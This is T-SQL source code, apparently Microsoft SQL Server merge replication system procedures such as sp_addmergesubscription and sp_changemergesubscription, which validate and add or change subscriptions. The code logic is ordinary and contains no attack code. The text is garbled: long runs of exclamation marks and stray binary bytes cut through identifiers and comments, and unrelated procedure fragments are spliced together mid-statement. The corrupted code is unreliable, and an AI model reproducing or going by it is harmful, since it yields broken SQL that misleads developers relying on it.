					@frequency_interval = NULL,
					@frequency_relative_interval = NULL,
					@frequency_recurrence_factor = NULL,
					@frequency_subday = NULL,
					@frequency_subday_interval = NULL,
					@active_start_time_of_day = NULL,
					@active_end_time_of_day = NULL,
					@active_start_date = NULL,
					@active_end_date = NULL,
					@optional_command_line = NULL,
					@enabled_for_syncmgr = NULL,
					@merge_job_name = NULL
		END

        -- @internal = 'YUKON ADD SUB'. Passing this to sp_MSadd_mergesubscription
        -- signals that we are in 9.0 mode and adding the subscription only (no 
        -- code for adding the agent job will be executed)
        SELECT @internal = N'YUKON ADD SUB'
    END
    ELSE
    BEGIN
        -- Set the original default values for the 8.0 model
        SELECT @enabled_for_syncmgr = ISNULL(@enabled_for_syncmgr, N'false'),
                @use_interactive_resolver = ISNULL(@use_interactive_resolver, N'false')

        -- set @internal = 'PRE-YUKON'. This will be passed to sp_MSadd_mergesubscriptio!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(#eD=_vn 
        -- and signals that we are in 8.0 mode and will allow both the code for adding
        -- the subscription and the agent job to be executed
        SELECT @internal = N'PRE-YUKON'
    END
    
    /*
    ** Parameter Check: @subscriber
    ** Check to make sure that the subscriber is defined
    */
    IF @subscriber IS NULL or ltrim(rtrim(@subscriber)) = N''
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_addmergesubscription')
            RETURN (1)
        END

    IF @subscriber = 'all'
        BEGIN
            RAISERROR (14136, 16, -1)
            RETURN (1)
        END

    
    EXECUTE @retcode = sys.sp_validname @subscriber
    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)

    /*
    ** Parameter Check: @subscriber_db
    */
    IF @subscriber_db IS NULL or ltrim(rtrim(@subscriber_db)) = N''
    BEGIN
        RAISERROR (14043, 16, -1, '@subscriber_db', 'sp_addmergesubscription')
        RETURN (1)
    END

    IF @subscriber_db = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END

    --
    -- @subscriber_db cannot be master
    --
    if LOWER(@subscriber_db) = 'master'
    BEGIN
        RAISERROR (21481, 16, 1)
        RETURN (1)
    END
    
    /*
    **    Check to see if system tables exist. If not create them. Since under current
    **    design every database is qualified for subscribing.
    */
    
    IF object_id('sysmergesubscriptions') is NULL
    BEGIN
        execute @retcode = sys.sp_MScreate_mergesystables @whattocreate=1
        if @@ERROR <> 0 or @retcode <> 0 return (1)

--        execute @retcode = sys.sp_MScreate_DDLtriggers
--        if @@ERROR <> 0 or @retcode <> 0 return (1)

        execute @retcode= sys.sp_MSrepl_ddl_triggers @type='merge', @mode='add'
        if @@ERROR <> 0 or @retcode <> 0 return (1)                        
    END 
        
    /*
    ** Parameter Check: @publication.
    ** Check to make sure that the publication exists and that it conforms
    ** to the rules for identifiers.
    */
    if NOT EXISTS (select * FROM dbo.sysmergepublications 
        WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name())
        BEGIN
            RAISERROR (20026, 16, -1, @publication)
            RETURN (1)
        END

    if @pubid IS NULL
        select @pubid = pubid, @compatlevel = backward_comp_level FROM dbo.sysmergepublications 
            WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()

    /*
    ** Parameter Check: @subscriber_type.
    ** Set subscriber_typeid based on the @subscriber_type specified.
    **
    **     subscriber_type     subscriber_type
    **     =================      ===============
    **               1            global
    **               2            local
    **               3            anonymous
    **                            Type 'republisher' is taken out for B3. We may want to add this back later.
    */
    if LOWER(@subscriber_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('local', 'global')
        BEGIN
            RAISERROR (21337, 16, -1)
            RETURN (1)
        END

    if LOWER(@subscriber_type collate SQL_Latin1_General_CP1_CS_AS) IN ('global')
        set @subscriber_typeid = 1
    else if LOWER(@subscriber_type collate SQL_Latin1_General_CP1_CS_AS) IN ('local')
        set @subscriber_typeid = 2

    /*
    ** Parameter Check: @use_interactive_resolver  
    */
    IF @use_interactive_resolver IS NOT NULL
        AND LOWER(@use_interactive_resolver collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@use_interactive_resolver')
        RETURN (1)
    END
    
    if LOWER(@use_interactive_resolver collate SQL_Latin1_General_CP1_CS_AS) = 'true'
        set @use_interactive_bit = 1
    else 
        set @use_interactive_bit = 0

    
    /* 
    ** Assign priority appropriately - choose 0.99 times the minimum priority
    ** of the global replicas.
    */
    if (@subscription_priority >= 100.0 or @subscription_priority < 0.0)
        BEGIN
            RAISERROR (20088, 16, -1)
            RETURN (1)
        END
    if (@subscription_priority IS NULL)
        begin
            select @priority = 0.99 * min(priority) from dbo.sysmergesubscriptions where subscriber_type = 1
            if (@priority IS NOT NULL)
                select @subscription_priority = @priority
            if (@subscription_priority IS NULL) 
                select @subscription_priority = 0.0
        end
    /*
    ** For local and anonymous subscriptions the priority is 0.0
    */
    if LOWER(@subscriber_type collate SQL_Latin1_General_CP1_CS_AS) IN ('local', 'anonymous')
        select @subscription_priority = 0.0
    
    /*
    ** Validate that if Transactional subscriptions exist, that the same article is not subscribed to a 
    ** tran publication.
    */    
    IF object_id('syssubscriptions') is not NULL
    begin
        select @subscriber_srvid = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@subscriber) collate database_default
        IF @subscriber_srvid IS NOT NULL
        BEGIN
            if exists (select name from dbo.sysmergeextendedarticlesview where pubid=@pubid and objid in
                (select objid from sysextendedarticlesview where artid in
                    (select artid from syssubscriptions where dest_db=@subscriber_db and UPPER(srvname) = UPPER(@subscriber) collate database_default)))
            begin
                RAISERROR(21280, 16, -1, @publication, @subscriber_db)
                RETURN (1)
            end
        END
    end


    /* 
    ** Parameter Check: Make sure that the subscriber,subscription_db and publisher,publication_db are different
    ** This proc is called on the publisher and publisher db.
    */
    if ((UPPER(publishingservername()) = UPPER(@subscriber)) and (@subscriber_db = db_name()))
    begin
        RAISERROR (21690, 16, -1)
        RETURN (1)
    end
    
    /*
    ** Making it possible for a deleted subscription to come back.
    ** UNDONE : This disallows second pull subscription from being added unless the previous 
    ** subscription was initial synced.
    */
    -- ignore anonymous subscriptions. Entries for it may be present due to subscriber tracking
    if EXISTS (select *    FROM dbo.sysmergesubscriptions
                WHERE db_name = @subscriber_db
                AND UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default 
                AND pubid = @pubid AND status <>2 --We can definitely add back subscriptions that were deleted.
                and subscription_type <> 2 and subscription_type <> 3) 
        BEGIN
            RAISERROR (14058, 16, -1)
            RETURN (1)
        END

    -- delete if there exists an anonymous subscriptions as well
    select @subid = NULL
    select @subid = subid FROM dbo.sysmergesubscriptions 
               WHERE db_name = @subscriber_db  
                 AND UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default
                 AND pubid = @pubid AND (status = 2 or subscription_type = 2 or subscription_type = 3)
    if @subid is not NULL
    BEGIN
    
		-- delete supportability settings for the subscriptions that we are about to delete.
	    delete from dbo.MSmerge_supportability_settings where subid = @subid        	
	    delete from dbo.MSmerge_log_files where subid = @subid

        delete from dbo.sysmergesubscriptions where subid = @subid
        exec sys.sp_MScleanup_subscriber_history @subid=@subid
        delete from dbo.MSmerge_replinfo where repid = @subid

        -- If the only remaining subscriptions are old entries (before restore),
 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($eD\Iuv       -- we remove them now.
        if not exists (select * from dbo.sysmergesubscriptions 
                            where status <> 7) -- REPLICA_STATUS_BeforeRestore
        begin
            delete from dbo.sysmergesubscriptions
            truncate table dbo.MSmerge_supportability_settings
            truncate table dbo.MSmerge_log_files
            truncate table dbo.MSrepl_errors
			truncate table dbo.MSmerge_history
			truncate table dbo.MSmerge_articlehistory
			truncate table dbo.MSmerge_sessions
            delete from dbo.MSmerge_replinfo
        end
    END

    /* 
    ** Downlevel subscribers (8.0 and lower) run merge agents which select the srvid entry of the subscriber from the Publisher
    ** In order to support that, we check the srvid entry and if not pre-existing, we execute the sp_MSadd_subserver proc that 
    ** does an execute as DBO
    */
    if (@compatlevel <  @REPOLEVersion_90)
    begin
        SELECT @subscriber_srvid = srvid from master..sysservers where UPPER(srvname) = UPPER(@subscriber) collate database_default
        if @subscriber_srvid is NULL
        	begin
        	EXEC @retcode = sys.sp_MSadd_subserver @subscriber = @subscriber, @type = 0

            IF @@error <> 0 OR @retcode <> 0
                BEGIN
                    RAISERROR (14042, 16, -1)
                    RETURN (1)
                END
        	end            	
    end

    select @subid = newid()       
    
   /*
   ** Parameter Check: @sync_type.
   ** Set sync_typeid based on the @sync_type specified.
   **
   **    sync_typeid        sync_type
   **    ===========        =========
   **              1        automatic
   **              2        none
   */


   IF LOWER(@sync_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('automatic', 'none')
       BEGIN
           RAISERROR (14052, 16, -1)
           RETURN (1)
       END


    /*
    ** If current publication contains an article without rowguidcol, do not allow no-sync subscription
    */
   IF LOWER(@sync_type collate SQL_Latin1_General_CP1_CS_AS) = 'automatic'
   BEGIN
        SET @sync_typeid = @automatic
   END
   ELSE
   BEGIN
        if exists (select * from dbo.sysmergearticles a where pubid=@pubid and 
            not exists (select * from sys.columns c where c.object_id = a.objid and c.is_rowguidcol = 1))
            
            BEGIN
                Raiserror(20086, 16, -1, @publication)
                RETURN (1)
            END
        else 
            SET @sync_typeid = @nosync
   END


    /*
    ** UNDONE: Validate that the publisher is of type "republisher"
    */
    begin tran
    save TRAN addmergesubscription
        /* Generate a guid for the Subscriber ID */
    
        /* Look for existing nickname from any other subscription */
        exec @retcode = sys.sp_MSgetreplnick @subscriber, @subscriber_db , NULL,  @subnickname out
        if (@@error <> 0) or @retcode <> 0 
            GOTO FAILURE
            
        /* Generate a new replica nickname from the @subid */
        if (@subnickname is null)
        begin
            EXECUTE sys.sp_MSgenreplnickname 
                            @srcguid= @subid, 
                            @replnick= @subnickname output
            if @@ERROR<>0 
                GOTO FAILURE
        end
            
        /*
        ** The subscription doesn't exist, so let's add it to dbo.sysmergesubscriptions 
        */
        INSERT dbo.sysmergesubscriptions (subscriber_server, db_name, pubid, datasource_type,
                subid, replnickname, replicastate, status, subscriber_type, subscription_type,
                sync_type, description, priority)
        VALUES (@subscriber, @subscriber_db, @pubid, @datasource_type, 
                @subid, @subnickname, newid(), @inactive, @subscriber_typeid, @subscription_type_id,
                @sync_typeid, @description, @subscription_priority)
        if @@ERROR <> 0
        BEGIN
            GOTO FAILURE
        END
                
        /*
        ** Get distribution server information for remote RPC call.
        */
        EXECUTE @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT,
           @distribdb    = @distribdb OUTPUT
        IF @@ERROR <> 0 or @retcode <> 0
            BEGIN
                GOTO FAILURE
            END
            
        declare @publisher_engine_edition int

        select @publisher_engine_edition = sys.fn_MSrepl_editionid()
       
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + 
            '.dbo.sp_MSadd_merge_subscription'
        EXEC @retcode = @distproc 
            @publisher = @publishingservername, 
            @publisher_db = @publisher_db, 
            @publication = @publication,
            @subscriber = @subscriber, 
            @subscriber_db = @subscriber_db, 
            @subscription_type = @subscription_type_id,
            @sync_type = @sync_typeid, 
            @status = @inactive,
            @frequency_type = @frequency_type,
            @frequency_interval = @frequency_interval,
            @frequency_relative_interval = @frequency_relative_interval,
            @frequency_recurrence_factor = @frequency_recurrence_factor,
            @frequency_subday = @frequency_subday,
            @frequency_subday_interval = @frequency_subday_interval,
            @active_start_time_of_day = @active_start_time_of_day,
            @active_end_time_of_day = @active_end_time_of_day,
            @active_start_date = @active_start_date,
            @active_end_date = @active_end_date,
            @optional_command_line = @optional_command_line,
            @merge_jobid = @merge_jobid OUTPUT,
            @agent_name = @merge_job_name,
            @hostname = @hostname,
            @description = @description,
            @subid = @subid,
            @internal = @internal,
            @publisher_engine_edition = @publisher_engine_edition
        IF @@ERROR <> 0 OR @retcode <> 0
            begin    
                goto FAILURE
            end
            
        /*
        **    Add row for subscription in dbo.MSmerge_replinfo.
        */
        insert dbo.MSmerge_replinfo(repid, login_name, use_interactive_resolver, hostname, merge_jobid)
                values (@subid, suser_sname(suser_sid()), @use_interactive_bit, @hostname, @merge_jobid)
        if @@ERROR <> 0
            BEGIN
                GOTO FAILURE
            END

        /* Conditional support for MobileSync */
        if sys.fn_yukonsecuritymodelrequired(NULL) = 0
            AND LOWER(@enabled_for_syncmgr collate SQL_Latin1_General_CP1_CS_AS) = 'true'
        BEGIN

            /* MobileSync Support */
            declare @distributor_server                    sysname
            declare @distributor_security_mode            int
            declare @distributor_login                    sysname
            declare @distributor_password                nvarchar(524)

            /* 
            ** The registry entry needs to be created only for push subscriptions -     
            ** i.e - need not be called when a pull subscription is created at the 
            ** subscriber and sp_addmergesubscription is being called then.
            */
            
            IF @subscription_type_id = 0 
            BEGIN
                EXECUTE @retcode = sys.sp_helpdistributor
                    @distributor = @distributor_server OUTPUT                /* Distributor RPC server name */
                IF @@ERROR <> 0 or @retcode <> 0
                    BEGIN
                        GOTO FAILURE
                    END

                -- Always use integrated security on winNT
                select @distributor_security_mode = 1,
                        @distributor_login = N'',
                        @distributor_password = newid()

         !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<j%/
BV47,       exec @retcode = sys.sp_MSreplencrypt @distributor_password output
                IF @@ERROR <> 0 or @retcode <> 0
                        GOTO FAILURE

                /* Call sp_MSregistersubscription so that the subscription can be synchronized via Onestop etc. */
                exec @retcode = sys.sp_MSregistersubscription @replication_type = 2,
                                    @publisher = @publishingservername,
                                    @publisher_db = @publisher_db,
                                    @publication = @publication,
                                    @subscriber = @subscriber,
                                    @subscriber_db = @subscriber_db,
                                    @distributor = @distributor,
                                    @distributor_security_mode = @distributor_security_mode,
                                    @distributor_login = @distributor_login,
                                    @distributor_password = @distributor_password,
                                    @subscription_id = @subid,
                                    @subscription_type = @subscription_type_id,
                                    @use_interactive_resolver = @use_interactive_bit,
                                    @hostname = @hostname
                IF @@error <> 0 OR @retcode <> 0
                BEGIN
                    GOTO FAILURE
                END

            END                                       
        END        
    COMMIT TRAN
    return (0)

FAILURE:
    RAISERROR (14057, 16, -1)
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRANSACTION addmergesubscription
        COMMIT TRANSACTION
    end
    RETURN (1)

/[/dure arguments list. 
		select @argname= '@p' + convert(nvarchar, @columnordinal)
		set @cmdpiece= ',
		' + @argname + ' ' + @typename
		insert into @cmdtable (phase, cmdtext) values (1, @cmdpiece)

		-- Phase 4: argument list for call to update proc in downloadonly case
		if 1 <> @maintainsmetadata
		begin
    		set @cmdpiece= ',
    		' + @argname + ' = ' + @argname
    		insert into @cmdtable (phase, cmdtext) values (4, @cmdpiece)
  		end

		if @columnordinal = 1
			set @comma= ''
		else
			set @comma= ', '

		-- Phase 9: Add column names to insert statement. 
		set @cmdpiece= @comma + @colname
		insert into @cmdtable (phase, cmdtext) values (9, @cmdpiece)
		
		-- Phase 11: Add respective parameters to insert statement.
		set @cmdpiece= @comma + @argname
		insert into @cmdtable (phase, cmdtext) values (11, @cmdpiece)

		-- is this an identity column without 'not for replication' marking?
		if (@isidentitycolumn = 1) and (@is_identitynotforreplication = 0)
		begin
			-- Phase 7: Enable identity_insert.
			set @cmdpiece = '	set identity_insert ' + @qualified_name + ' on'
			insert into @cmdtable (phase, cmdtext) values (7, @cmdpiece)

			-- Phase 9: Disable identity_insert.
			set @cmdpiece = '	set identity_insert ' + @qualified_name + ' off'
			insert into @cmdtable (phase, cmdtext) values (13, @cmdpiece)
		end
	end

	-- Now we select out the command text pieces in proper order so that our caller,
	-- xp_execresultset, will execute the command that creates the stored procedure.
	select cmdtext from @cmdtable order by phase, step

	return 0
pJpJC_16 = 1) then @isComputed | 1 else @isComputed end)
         insert #tempID2 select @Name, @idx, @isComputed
         fetch next from hC into @Name, @Inx_1, @Inx_2, @Inx_3, @Inx_4, @Inx_5, @Inx_6, @Inx_7, @Inx_8,
                                 @Inx_9, @Inx_10, @Inx_11, @Inx_12, @Inx_13, @Inx_14, @Inx_15, @Inx_16,
                                 @C_1, @C_2, @C_3, @C_4, @C_5, @C_6, @C_7, @C_8,
                                 @C_9, @C_10, @C_11, @C_12, @C_13, @C_14, @C_15, @C_16
         end
      close hC
      deallocate hC

	set nocount off
   if (@flags <> 0)
   begin
   /* daVinci is calling */
      select i.name, i.status, i.indid, i.OrigFillFactor,
      IndCol1 = index_col(@tablename, i.indid, 1),
      IndCol2 = index_col(@tablename, i.indid, 2),
      IndCol3 = index_col(@tablename, i.indid, 3),
      IndCol4 = index_col(@tablename, i.indid, 4),
      IndCol5 = index_col(@tablename, i.indid, 5),
      IndCol6 = index_col(@tablename, i.indid, 6),
      IndCol7 = index_col(@tablename, i.indid, 7),
      IndCol8 = index_col(@tablename, i.indid, 8),
      IndCol9 = index_col(@tablename, i.indid, 9),
      IndCol10 = index_col(@tablename, i.indid, 10),
      IndCol11 = index_col(@tablename, i.indid, 11),
      IndCol12 = index_col(@tablename, i.indid, 12),
      IndCol13 = index_col(@tablename, i.indid, 13),
      IndCol14 = index_col(@tablename, i.indid, 14),
      IndCol15 = index_col(@tablename, i.indid, 15),
      IndCol16 = index_col(@tablename, i.indid, 16)
      , SegName = s.groupname
      , FullTextKey = IndexProperty(object_id(@tablename), i.name, N'IsFulltextKey')
      , Descending = t.cInx
      , Computed = t.cComputed
      , IsTable = OBJECTPROPERTY(object_id(@tablename), N'IsTable')
      from (dbo.sysindexes i inner join
         dbo.sysfilegroups s on
         i.groupid = s.groupid ), #tempID2 t
      where id = object_id(@tablename) and i.indid > 0 and i.indid < 255 and
      (@indexname is null or i.name = @indexname) and
      (INDEXPROPERTY(object_id(@tablename), i.name, N'IsStatistics') <> 1) and
      (INDEXPROPERTY(object_id(@tablename), i.name, N'IsAutoStatistics') <> 1) and
      (INDEXPROPERTY(object_id(@tablename), i.name, N'IsHypothetical') <> 1) and
      i.name = t.cName
      order by i.indid
   end else begin
      /* select (case when (i.status & 0x0040) != 0 then substring(i.name, 9, (datalength(i.name)/2)-17) else i.name end), i.status, i.indid, i.OrigFillFactor, */
      select i.name, i.status, i.indid, i.OrigFillFactor,
      IndCol1 = index_col(@tablename, i.indid, 1),
      IndCol2 = index_col(@tablename, i.indid, 2),
      IndCol3 = index_col(@tablename, i.indid, 3),
      IndCol4 = index_col(@tablename, i.indid, 4),
      IndCol5 = index_col(@tablename, i.indid, 5),
      IndCol6 = index_col(@tablename, i.indid, 6),
      IndCol7 = index_col(@tablename, i.indid, 7),
      IndCol8 = index_col(@tablename, i.indid, 8),
      IndCol9 = index_col(@tablename, i.indid, 9),
      IndCol10 = index_col(@tablename, i.indid, 10),
      IndCol11 = index_col(@tablename, i.indid, 11),
      IndCol12 = index_col(@tablename, i.indid, 12),
      IndCol13 = index_col(@tablename, i.indid, 13),
      IndCol14 = index_col(@tablename, i.indid, 14),
      IndCol15 = index_col(@tablename, i.indid, 15),
      IndCol16 = index_col(@tablename, i.indid, 16)
      , SegName = s.groupname
      , FullTextKey = IndexProperty(object_id(@tablename), i.name, N'IsFulltextKey')
      , Descending = t.cInx
      , Computed = t.cComputed
      , IsTable = OBJECTPROPERTY(object_id(@tablename), N'IsTable')
      from (dbo.sysindexes i inner join
         dbo.sysfilegroups s on
         i.groupid = s.groupid ), #tempID2 t
      where id = object_id(@tablename) and i.indid > 0 and i.indid < 255
      and (@indexname is null or i.name = @indexname) and
      i.name = t.cName
      order by i.indid
      /* order by i.name */
   end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(&DA4vi
create procedure sys.sp_changemergesubscription (
    @publication        sysname = NULL, /* Publication name */
    @subscriber            sysname = NULL,     /* Subscriber server */
    @subscriber_db        sysname = NULL,     /* Subscription database */
    @property            sysname = NULL, /* The property to change */
    @value                nvarchar(255) = NULL,     /* The new property value */
    @force_reinit_subscription bit = 0    /* Force reinit subscription */
    ) AS

    SET NOCOUNT ON

    declare @subscriber_bit            smallint
    declare @retcode                int
    declare @pubid                    uniqueidentifier
    declare @subid                    uniqueidentifier
    declare @sync_typeid            tinyint
    declare @nosync                    tinyint
    declare @automatic                tinyint
    declare @push                    tinyint
    declare @artid                    uniqueidentifier
    declare @schematype                int
    declare @schemaversion            int
    declare @schemaguid                uniqueidentifier
    declare @db_name                sysname
    declare @subscriber_type        int
    declare @subscription_type        int
    declare @schematext                nvarchar(2000)
    declare @publisher                sysname
    declare @publisher_db            sysname
    declare @use_interactive_bit    int 
    declare @enabled_for_syncmgr    int
    declare @regkey                    nvarchar(1000)
    declare @snapshot_ready            int
    declare @SCHEMA_TYPE_PRIORITYCHANGE int
    declare @automatic_reinitialization_policy bit
	declare @mrgagent_exists 		bit
	declare @proxy_id				int
	declare @distproc             	nvarchar(1000)
    declare @distributor         	sysname
    declare @distribution_db     	sysname
    
    SET @nosync            = 2        /* Const: synchronization type 'none' */
    SET @automatic        = 1        /* Const: synchronization type 'automatic' */
    set @push            = 0
    set @publisher        = publishingservername()
    set @publisher_db    = DB_NAME()
    set @SCHEMA_TYPE_PRIORITYCHANGE= 8

    /*
    ** Security Check.
    */
    exec @retcode= sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
    begin
        raiserror(15247,-1,-1)
        return (1)
    end


    /*
    **    Check to see if current database is doing publishing/subscribing
    */
    IF object_id('sysmergesubscriptions') is NULL
    BEGIN
        RAISERROR (14055, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:     @property.
    ** If the @property parameter is NULL, print the options.
    */

    IF @property IS NULL
        BEGIN
            CREATE TABLE #tab1 (properties sysname collate database_default)
            INSERT INTO #tab1 VALUES ('sync_type')
            INSERT INTO #tab1 VALUES ('priority')
            INSERT INTO #tab1 VALUES ('description') 
            INSERT INTO #tab1 VALUES ('use_interactive_resolver')
            INSERT INTO #tab1 VALUES ('subscriber_security_mode')
            INSERT INTO #tab1 VALUES ('subscriber_login')
            INSERT INTO #tab1 VALUES ('subscriber_password')
            INSERT INTO #tab1 VALUES ('publisher_security_mode')
            INSERT INTO #tab1 VALUES ('publisher_login')
            INSERT INTO #tab1 VALUES ('publisher_password')
            INSERT INTO #tab1 VALUES ('merge_job_login')
            INSERT INTO #tab1 VALUES ('merge_job_password')
            
            select * FROM #tab1
            RETURN (0)
        END

    /*
    ** Parameter Check:     @publication.
    ** Make sure that the publication exists.
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_changemergesubscription')
            RETURN (1)
        END

    select @pubid = pubid, 
           @snapshot_ready=snapshot_ready,
           @automatic_reinitialization_policy = automatic_reinitialization_policy
       FROM dbo.sysmergepublications 
       WHERE name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    IF @pubid IS NULL
        BEGIN
            RAISERROR (20026, 11, -1, @publication)
            RETURN (1)
        END

    
    /*
    ** Parameter Check:     @subscriber.
    ** Check to make sure we have a valid subscriber.
    */
    IF @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_changemergesubscription')
            RETURN (1)
        END
    
    /*
    ** Check to see if you have a local / global subscription on this publication
    */
    set @subid = NULL
    select @subid = subs.subid, 
           @pubid = pubs.pubid, /* identified from publication name */
           @subscriber_type=subs.subscriber_type,
           @subscription_type=subs.subscription_type
          from dbo.sysmergesubscriptions    subs,
            dbo.sysmergepublications    pubs
        where UPPER(subs.subscriber_server) collate database_default = UPPER(@subscriber) collate database_default
            and subs.db_name = @subscriber_db
            and subs.pubid = pubs.pubid
            and pubs.name = @publication 
            and UPPER(pubs.publisher)=UPPER(publishingservername()) 
            and pubs.publisher_db=db_name()
            and (subs.subscriber_type = 1 or subs.subscriber_type = 2)
    if @subid IS NULL 
        begin
            RAISERROR (14050, 11, -1)
            RETURN(1)
        end                    

    /*
    ** Parameter Check:     @property.
    ** Check to make sure that @property is a valid property in
    ** sysarticles.
    */
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('sync_type', 'priority', 'description', 'use_interactive_resolver', 
                                                                        'subscriber_security_mode', 'subscriber_login', 'subscriber_password', 
                                                                        'publisher_security_mode', 'publisher_login', 'publisher_password',
                                                                        'merge_job_login', 'merge_job_password')
    BEGIN
        RAISERROR (20078, 16, -1)
        RETURN (1)
    END

	EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, 
											@distribdb = @distribution_db OUTPUT
    IF @@ERROR <> 0 or @retcode <> 0 or @distributor is NULL 
    BEGIN
        RAISERROR (20036, 16, -1)
        goto UNDO
    END         

	-- we only need to check if we have enough permissions to modify
	-- subscription properties for push cases since well known pull 
	-- subscriptions will never have jobs at the distributor...
	IF @subscription_type = @push
	BEGIN
		-- make sure we have permission to perform this action
		SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSreplagentjobexists'
		EXEC  @distproc @type = 1,
						@exists = @mrgagent_exists OUTPUT,
						@proxy_id = @proxy_id OUTPUT,
						@publisher = @publisher,
						@publisher_db = @publisher_db,
						@publication = @publication,
						@subscriber = @subscriber,
						@subscriber_db = @subscriber_db
		IF @@ERROR <> 0 OR @retcode <> 0
			RETURN 1

		IF IS_SRVROLEMEMBER('sysadmin') != 1
			AND (@mrgagent_exists = 0
				OR @proxy_id IS NULL)
		BEGIN
			-- Only members of the sysadmin fixed server role can modify a subscription that does not have a job with a proxy account defined.
			RAISERROR(20813, 16, -1, 'subscription')
			RETURN 1
		END
	END

    BEGIN TRANSACTION change_subscription
    save TRAN change_subscription
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'use_interactive_resolver'
    BEGIN

        /* Check to make sure that we have a true/false. */

        IF LOWER(@valu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<('Dvie collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
            BEGIN
                RAISERROR (14148, 16, -1, 'use_interactive_resolver')
                goto UNDO    
            END

        /* Determine the bit value. */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            SET @use_interactive_bit = 1
        ELSE
            SET @use_interactive_bit = 0

        /* Update the subscription with the new 'use_interactive' value. */

        UPDATE dbo.MSmerge_replinfo
            SET use_interactive_resolver = @use_interactive_bit
            WHERE repid = @subid
        IF @@ERROR <> 0
            BEGIN
                RAISERROR (14053, 16, -1)
                goto UNDO
            END

        /* If the subscription is enable for Sync Manager, then update the reg value */
        exec sys.sp_MSsubscription_enabled_for_syncmgr
            @publisher, @publisher_db, @publication, @subscriber, @subscriber_db, 
            @enabled_for_syncmgr OUT, @regkey OUT
        IF @@ERROR <> 0
            BEGIN
                RAISERROR (14053, 16, -1)
                goto UNDO
            END
        if @enabled_for_syncmgr = 1
        begin
                EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                                       @regkey,
                                       'UseInteractiveResolver',
                                       'REG_DWORD',
                                        @use_interactive_bit
                if @retcode <> 0 OR @@ERROR <> 0
                    BEGIN
                        RAISERROR (14053, 16, -1)
                        goto UNDO
                    END
        end
    END

    /*
    ** Change the property.
    */
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'sync_type'
        BEGIN 
            /*
            ** Check to make sure that we have a valid sync_type.
            */
            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('automatic', 'none')
                BEGIN
                    RAISERROR (14052, 16, -1)
                    goto UNDO
                END

            /*
            ** Determine the integer value for the sync_type.
            */

            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'automatic'
                SET @sync_typeid = @automatic
            ELSE
            BEGIN

            /*
            **    If current publication contains an article without rowguidcol, do not allow no-sync subscription
            */    
            if exists (select * from dbo.sysmergearticles a where pubid = @pubid and 
                    not exists (select * from sys.columns c where c.object_id=a.objid and c.is_rowguidcol=1))
                begin
                    Raiserror(20086, 16, -1, @publication)
                    goto UNDO
                end
                else 
                    SET @sync_typeid = @nosync
            END

            /*
            ** Update the subscription with the new sync_type.
            */

            UPDATE dbo.sysmergesubscriptions
                SET sync_type = @sync_typeid
                WHERE subid = @subid
            IF @@ERROR <> 0
                BEGIN
                    RAISERROR (14053, 16, -1)
                    goto UNDO
                END

            if @snapshot_ready>0
            begin
                --if there is one article in this publication with pre_command of other than 'drop',
                --do not allow changing subscription property.
